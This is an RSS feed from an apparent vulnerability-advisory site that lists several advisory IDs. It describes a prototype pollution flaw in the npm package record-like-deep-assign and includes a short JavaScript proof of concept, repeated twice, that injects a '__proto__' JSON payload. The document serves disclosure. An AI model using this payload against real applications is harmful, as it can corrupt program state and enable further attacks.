https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 10 Oct 2026 15:20:33 +0000 https://cve.radiocsirt.org/vuln/cnvd-2021-50105 cnvd-2021-50105 https://cve.radiocsirt.org/vuln/cnvd-2021-50105 https://cve.radiocsirt.org/vuln/euvd-2026-165091 EUVD-2026-165091 https://cve.radiocsirt.org/vuln/euvd-2026-165091 https://cve.radiocsirt.org/vuln/fkie_cve-2021-23402 <p>All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.</p> <p>All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2021-23402 https://cve.radiocsirt.org/vuln/ghsa-7qm6-9v49-38m9 <p><strong>Affected:</strong> npm: record-like-deep-assign</p> <p>All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.</p> <p>### PoC ```js const deepAssign = require(&#39;record-like-deep-assign&#39;); let obj = {}; console.log(&#34;Before being polluted: &#34; + obj.polluted); EVIL_JSON = JSON.parse(&#39;{&#34;__proto__&#34;:{&#34;polluted&#34;:true}}&#39;); deepAssign({}, EVIL_JSON); console.log(&#34;After being polluted: &#34; + obj.polluted); ```</p> <p><strong>Affected:</strong> npm: record-like-deep-assign</p> <p>All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.</p> <p>### PoC ```js const deepAssign = require(&#39;record-like-deep-assign&#39;); let obj = {}; console.log(&#34;Before being polluted: &#34; + obj.polluted); EVIL_JSON = JSON.parse(&#39;{&#34;__proto__&#34;:{&#34;polluted&#34;:true}}&#39;); deepAssign({}, EVIL_JSON); console.log(&#34;After being polluted: &#34; + obj.polluted); ```</p> https://cve.radiocsirt.org/vuln/ghsa-7qm6-9v49-38m9 https://cve.radiocsirt.org/vuln/gsd-2021-23402 gsd-2021-23402 https://cve.radiocsirt.org/vuln/gsd-2021-23402